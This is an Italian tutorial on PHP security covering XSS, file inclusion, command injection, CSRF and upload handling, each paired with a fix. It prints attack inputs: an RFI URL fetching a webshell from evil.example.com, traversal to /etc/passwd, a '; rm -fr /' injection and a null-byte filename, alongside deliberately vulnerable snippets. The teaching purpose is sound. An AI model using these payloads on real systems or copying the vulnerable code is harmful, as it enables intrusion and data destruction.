PHP
Sicurezza
Ricerca…
introduzione
Poiché la maggior parte dei siti Web si trova in PHP, la sicurezza delle applicazioni è un argomento importante per gli sviluppatori PHP per proteggere i loro siti Web, dati e clienti. Questo argomento tratta le migliori pratiche di sicurezza in PHP, nonché le vulnerabilità e i punti deboli comuni con le correzioni di esempio in PHP.
Osservazioni
Guarda anche
Segnalazione errori
Per impostazione predefinita, PHP genererà errori , avvertenze e messaggi di avviso direttamente sulla pagina se si verifica qualcosa di inaspettato in uno script. Questo è utile per risolvere problemi specifici con uno script ma allo stesso tempo genera informazioni che non vuoi che i tuoi utenti sappiano.
Pertanto, è buona norma evitare di visualizzare quei messaggi che rivelano informazioni sul server, ad esempio l'albero delle directory, negli ambienti di produzione. In uno sviluppo o in un ambiente di test questi messaggi possono essere ancora utili da visualizzare a scopo di debug.
Una soluzione rapida
È possibile disattivarli in modo che i messaggi non vengano visualizzati, tuttavia ciò rende più difficile il debugging dello script.
<?php
ini_set("display_errors", "0");
?>
Oppure modificali direttamente nel php.ini .
display_errors = 0
Gestione degli errori
Un'opzione migliore sarebbe quella di memorizzare quei messaggi di errore in un posto che sono più utili, come un database:
set_error_handler(function($errno , $errstr, $errfile, $errline){
try{
$pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){
if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){
throw new Exception('Unable to execute query');
}
} else {
throw new Exception('Unable to prepare query');
}
} catch (Exception $e){
error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr");
}
});
Questo metodo registrerà i messaggi nel database e se questo non riesce a un file invece di farlo eco direttamente nella pagina. In questo modo puoi tenere traccia di ciò che gli utenti stanno riscontrando sul tuo sito web e avvisarti immediatamente se qualcosa va storto.
Cross-Site Scripting (XSS)
Problema
Lo scripting cross-site è l'esecuzione involontaria di codice remoto da parte di un client web. Qualsiasi applicazione Web potrebbe esporre se stessa a XSS se accetta l'input da un utente e la stampa direttamente su una pagina Web. Se l'input include HTML o JavaScript, il codice remoto può essere eseguito quando questo contenuto viene reso dal client web.
Ad esempio, se un lato di terze parti contiene un file JavaScript :
// http://example.com/runme.js
document.write("I'm running");
E un'applicazione PHP emette direttamente una stringa passata in esso:
<?php
echo '<div>' . $_GET['input'] . '</div>';
Se un parametro GET non controllato contiene <script src="http://example.com/runme.js"></script>
l'output dello script PHP sarà:
<div><script src="http://example.com/runme.js"></script></div>
Il JavaScript di terze parti verrà eseguito e l'utente vedrà "Sto eseguendo" sulla pagina web.
Soluzione
Come regola generale, non fidarsi mai dell'input proveniente da un client. Ogni valore GET, POST e cookie potrebbe essere qualsiasi cosa e dovrebbe quindi essere convalidato. Quando si emette uno di questi valori, sfuggirli in modo che non vengano valutati in modo inaspettato.
Tieni presente che anche nelle applicazioni più semplici i dati possono essere spostati e sarà difficile tenere traccia di tutte le fonti. Pertanto è una buona pratica evitare sempre l' output.
PHP fornisce alcuni modi per evitare l'output a seconda del contesto.
Funzioni di filtro
Le funzioni di filtro di PHP consentono ai dati di input dello script php di essere disinfettati o convalidati in molti modi . Sono utili quando si salva o si invia un input client.
Codifica HTML
htmlspecialchars
convertirà tutti i "caratteri speciali HTML" nelle loro codifiche HTML, il che significa che non saranno elaborati come HTML standard. Per correggere il nostro esempio precedente utilizzando questo metodo:
<?php
echo '<div>' . htmlspecialchars($_GET['input']) . '</div>';
// or
echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>';
Uscirebbe:
<div><script src="http://example.com/runme.js"></script></div>
Tutto ciò che si trova all'interno del tag <div>
non verrà interpretato come un tag JavaScript dal browser, ma come un semplice nodo di testo. L'utente vedrà sicuramente:
<script src="http://example.com/runme.js"></script>
Codifica URL
Quando si genera un URL generato dinamicamente, PHP fornisce la funzione urlencode
per generare in modo sicuro URL validi. Ad esempio, se un utente è in grado di immettere dati che diventano parte di un altro parametro GET:
<?php
$input = urlencode($_GET['input']);
// or
$input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL);
echo '<a href="http://example.com/page?input="' . $input . '">Link</a>';
Qualsiasi input dannoso verrà convertito in un parametro URL codificato.
Utilizzo di librerie esterne specializzate o elenchi di OWASP AntiSamy
A volte vorrete inviare HTML o altro tipo di input di codice. Sarà necessario mantenere un elenco di parole autorizzate (lista bianca) e non autorizzato (lista nera).
È possibile scaricare elenchi standard disponibili sul sito Web di OWASP AntiSamy . Ogni lista è adatta per uno specifico tipo di interazione (ebay api, tinyMCE, ecc ...). Ed è open source.
Esistono librerie esistenti per filtrare l'HTML e prevenire gli attacchi XSS per il caso generale ed eseguire almeno altrettanto bene gli elenchi di AntiSamy con un uso molto semplice. Ad esempio hai purificatore HTML
Inclusione di file
Inclusione di file remoti
Remote File Inclusion (noto anche come RFI) è un tipo di vulnerabilità che consente a un utente malintenzionato di includere un file remoto.
Questo esempio inietta un file ospitato in remoto contenente un codice dannoso:
<?php
include $_GET['page'];
/vulnerable.php?page= http://evil.example.com/webshell.txt ?
Inclusione di file locali
Local File Inclusion (noto anche come LFI) è il processo di inclusione dei file su un server attraverso il browser web.
<?php
$page = 'pages/'.$_GET['page'];
if(isset($page)) {
include $page;
} else {
include 'index.php';
}
/vulnerable.php?page=../../../../etc/passwd
Soluzione a RFI e LFI:
Si consiglia di consentire solo l'inclusione di file approvati e limitarli solo a quelli.
<?php
$page = 'pages/'.$_GET['page'].'.php';
$allowed = ['pages/home.php','pages/error.php'];
if(in_array($page,$allowed)) {
include($page);
} else {
include('index.php');
}
Iniezione dalla riga di comando
Problema
Analogamente all'iniezione SQL che consente a un utente malintenzionato di eseguire query arbitrarie su un database, l'iniezione dalla riga di comando consente a qualcuno di eseguire comandi di sistema non attendibili su un server Web. Con un server protetto in modo improprio questo darebbe ad un attaccante il controllo completo su un sistema.
Supponiamo, ad esempio, che uno script consenta a un utente di elencare il contenuto della directory su un server web.
<pre>
<?php system('ls ' . $_GET['path']); ?>
</pre>
(In un'applicazione reale si utilizzano le funzioni o gli oggetti incorporati di PHP per ottenere i contenuti del percorso. Questo esempio è per una semplice dimostrazione di sicurezza.)
Si spera di ottenere un parametro path
simile a /tmp
. Ma come ogni input è permesso, il path
potrebbe essere ; rm -fr /
. Il server Web eseguirà quindi il comando
ls; rm -fr /
e tentare di cancellare tutti i file dalla radice del server.
Soluzione
Tutti gli argomenti dei comandi devono essere sottoposti a escape utilizzando escapeshellarg()
o escapeshellcmd()
. Ciò rende gli argomenti non eseguibili. Per ogni parametro, anche il valore di input deve essere convalidato .
Nel caso più semplice, possiamo garantire il nostro esempio con
<pre>
<?php system('ls ' . escapeshellarg($_GET['path'])); ?>
</pre>
Seguendo l'esempio precedente con il tentativo di rimuovere i file, il comando eseguito diventa
ls '; rm -fr /'
E la stringa viene semplicemente passata come parametro a ls
, anziché terminare il comando ls
ed eseguire rm
.
Va notato che l'esempio sopra è ora protetto dall'iniezione di comando, ma non dall'indirizzamento tra directory. Per risolvere questo problema, è necessario verificare che il percorso normalizzato inizi con la sottodirectory desiderata.
PHP offre una varietà di funzioni per eseguire comandi di sistema, inclusi exec
, passthru
, proc_open
, shell_exec
e system
. Tutti devono avere i loro input accuratamente convalidati e sfuggiti.
Perdita della versione di PHP
Di default, PHP dirà al mondo quale versione di PHP stai usando, ad es
X-Powered-By: PHP/5.3.8
Per risolvere questo problema puoi cambiare php.ini:
expose_php = off
O cambia l'intestazione:
header("X-Powered-By: Magic");
O se preferisci un metodo htaccess:
Header unset X-Powered-By
Se uno dei metodi precedenti non funziona, c'è anche la funzione header_remove()
che ti offre la possibilità di rimuovere l'intestazione:
header_remove('X-Powered-By');
Se gli hacker sanno che stai usando PHP e la versione di PHP che stai usando, è più facile per loro sfruttare il tuo server.
Tag spogliati
strip_tags
è una funzione molto potente se sai come usarlo. Come metodo per prevenire gli attacchi di cross-site scripting ci sono metodi migliori, come la codifica dei caratteri, ma i tag stripping sono utili in alcuni casi.
Esempio di base
$string = '<b>Hello,<> please remove the <> tags.</b>';
echo strip_tags($string);
Uscita grezza
Hello, please remove the tags.
Permettere tag
Supponiamo che tu voglia consentire un determinato tag ma nessun altro tag, quindi lo specifichi nel secondo parametro della funzione. Questo parametro è facoltativo. Nel mio caso voglio solo passare il tag <b>
.
$string = '<b>Hello,<> please remove the <br> tags.</b>';
echo strip_tags($string, '<b>');
Uscita grezza
<b>Hello, please remove the tags.</b>
Avvisi)
HTML
commenti HTML
e i tag PHP
vengono rimossi. Questo è hardcoded e non può essere modificato con allowable_tags.
In PHP
5.3.4 e versioni successive, i tag XHTML
chiusura automatica vengono ignorati e solo i tag non autochiudenti devono essere utilizzati in allowable_tags. Ad esempio, per consentire sia a <br>
sia a <br/>
, devi usare:
<?php
strip_tags($input, '<br>');
?>
Falsificazione richiesta tra siti
Problema
La richiesta di cross-site Forgery o CSRF
può costringere un utente finale a generare inconsapevolmente richieste malevoli su un server web. Questo vettore di attacco può essere sfruttato in entrambe le richieste POST e GET. Diciamo per esempio che l'url endpoint /delete.php?accnt=12
cancella l'account come passato dal parametro accnt
di una richiesta GET. Ora se un utente autenticato incontrerà il seguente script in qualsiasi altra applicazione
<img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0">
l'account sarebbe stato cancellato.
Soluzione
Una soluzione comune a questo problema è l'uso di token CSRF . I token CSRF sono incorporati nelle richieste in modo che un'applicazione Web possa considerare attendibile che una richiesta provenga da un'origine prevista come parte del normale flusso di lavoro dell'applicazione. Innanzitutto l'utente esegue alcune azioni, come la visualizzazione di un modulo, che attiva la creazione di un token univoco. Potrebbe essere simile a un modulo di esempio che implementa questo aspetto
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<randomToken>" />
<input type="submit" />
</form>
Il token può quindi essere convalidato dal server contro la sessione utente dopo l'invio del modulo per eliminare le richieste dannose.
Codice di esempio
Ecco un codice di esempio per un'implementazione di base:
/* Code to generate a CSRF token and store the same */
...
<?php
session_start();
function generate_token() {
// Check if a token is present for the current session
if(!isset($_SESSION["csrf_token"])) {
// No token present, generate a new one
$token = random_bytes(64);
$_SESSION["csrf_token"] = $token;
} else {
// Reuse the token
$token = $_SESSION["csrf_token"];
}
return $token;
}
?>
<body>
<form method="get" action="/delete.php">
<input type="text" name="accnt" placeholder="accnt number" />
<input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" />
<input type="submit" />
</form>
</body>
...
/* Code to validate token and drop malicious requests */
...
<?php
session_start();
if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) {
// Reset token
unset($_SESSION["csrf_token"]);
die("CSRF token validation failed");
}
?>
...
Esistono già molte librerie e framework che hanno la loro implementazione della convalida CSRF. Sebbene questa sia la semplice implementazione di CSRF, è necessario scrivere del codice per rigenerare il token CSRF in modo dinamico per impedire il furto e la fissazione del token CSRF.
Caricamento di file
Se si desidera che gli utenti caricino i file sul server, è necessario eseguire un paio di controlli di sicurezza prima di spostare effettivamente il file caricato nella directory Web.
I dati caricati:
Questo array contiene dati inviati dall'utente e non informazioni sul file stesso. Mentre solitamente questi dati vengono generati dal browser, è possibile effettuare facilmente una richiesta di posta allo stesso modulo utilizzando il software.
$_FILES['file']['name'];
$_FILES['file']['type'];
$_FILES['file']['size'];
$_FILES['file']['tmp_name'];
-
name
: verifica ogni aspetto di esso. -
type
- Non usare mai questi dati. Può essere recuperato utilizzando invece le funzioni PHP. -
size
- sicuro da usare. -
tmp_name
- Sicuro da usare.
Sfruttare il nome del file
Normalmente il sistema operativo non consente caratteri specifici nel nome di un file, ma spoofando la richiesta è possibile aggiungerli permettendo che accadano cose inaspettate. Ad esempio, consente di denominare il file:
../script.php%00.png
Guarda bene il nome del file e dovresti notare un paio di cose.
- Il primo a notare è
../
, completamente illegale nel nome di un file e allo stesso tempo perfettamente soddisfacente se si sta spostando un file da una directory a un'altra, cosa che faremo nel modo giusto? - Ora potresti pensare di verificare correttamente le estensioni del file nel tuo script ma questo exploit si basa sulla decodifica dell'URL, traducendo
%00
in un caratterenull
, in pratica dicendo al sistema operativo, questa stringa finisce qui, eliminando.png
dal nome del file .
Così ora ho caricato script.php
in un'altra directory, passando da semplici convalide alle estensioni di file. Inoltre esegue il by-pass dei file .htaccess
non consentono l'esecuzione di script all'interno della directory di caricamento.
Ottenere il nome e l'estensione del file in modo sicuro
Puoi usare pathinfo()
per estrapolare il nome e l'estensione in modo sicuro, ma prima dobbiamo sostituire i caratteri indesiderati nel nome del file:
// This array contains a list of characters not allowed in a filename
$illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?", "*", " "]);
$filename = str_replace($illegal, "-", $_FILES['file']['name']);
$pathinfo = pathinfo($filename);
$extension = $pathinfo['extension'] ? $pathinfo['extension']:'';
$filename = $pathinfo['filename'] ? $pathinfo['filename']:'';
if(!empty($extension) && !empty($filename)){
echo $filename, $extension;
} else {
die('file is missing an extension or name');
}
Mentre ora abbiamo un nome file e un'estensione che possono essere utilizzati per la memorizzazione, preferisco comunque archiviare tali informazioni in un database e dare a quel file un nome generato, ad esempio, md5(uniqid().microtime())
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| id | title | extension | mime | size | filename | time |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
| 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 |
+----+--------+-----------+------------+------+----------------------------------+---------------------+
Ciò risolverebbe il problema dei nomi di file duplicati e degli exploit non sfruttati nel nome del file. Ciò potrebbe anche indurre l'utente malintenzionato a indovinare dove quel file è stato archiviato poiché non è in grado di indirizzarlo specificamente per l'esecuzione.
Convalida del tipo MIME
Controllare un'estensione di file per determinare quale file è non è sufficiente in quanto un file potrebbe denominare image.png
ma potrebbe benissimo contenere uno script php. Controllando il tipo mime del file caricato su un'estensione di file è possibile verificare se il file contiene il nome a cui si riferisce.
Puoi anche fare un ulteriore passo avanti per convalidare le immagini, e questo è in realtà aprirle:
if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){
if($img = imagecreatefromjpeg($filename)){
imagedestroy($img);
} else {
die('image failed to open, could be corrupt or the file contains something else.');
}
}
È possibile recuperare il mime-type utilizzando una build-in funzione o di una classe di .
Elenco bianco dei tuoi caricamenti
Soprattutto, dovresti autorizzare le estensioni di file e i tipi mime a seconda di ogni modulo.
function isFiletypeAllowed($extension, $mime, array $allowed)
{
return isset($allowed[$mime]) &&
is_array($allowed[$mime]) &&
in_array($extension, $allowed[$mime]);
}
$allowedFiletypes = [
'image/png' => [ 'png' ],
'image/gif' => [ 'gif' ],
'image/jpeg' => [ 'jpg', 'jpeg' ],
];
var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes));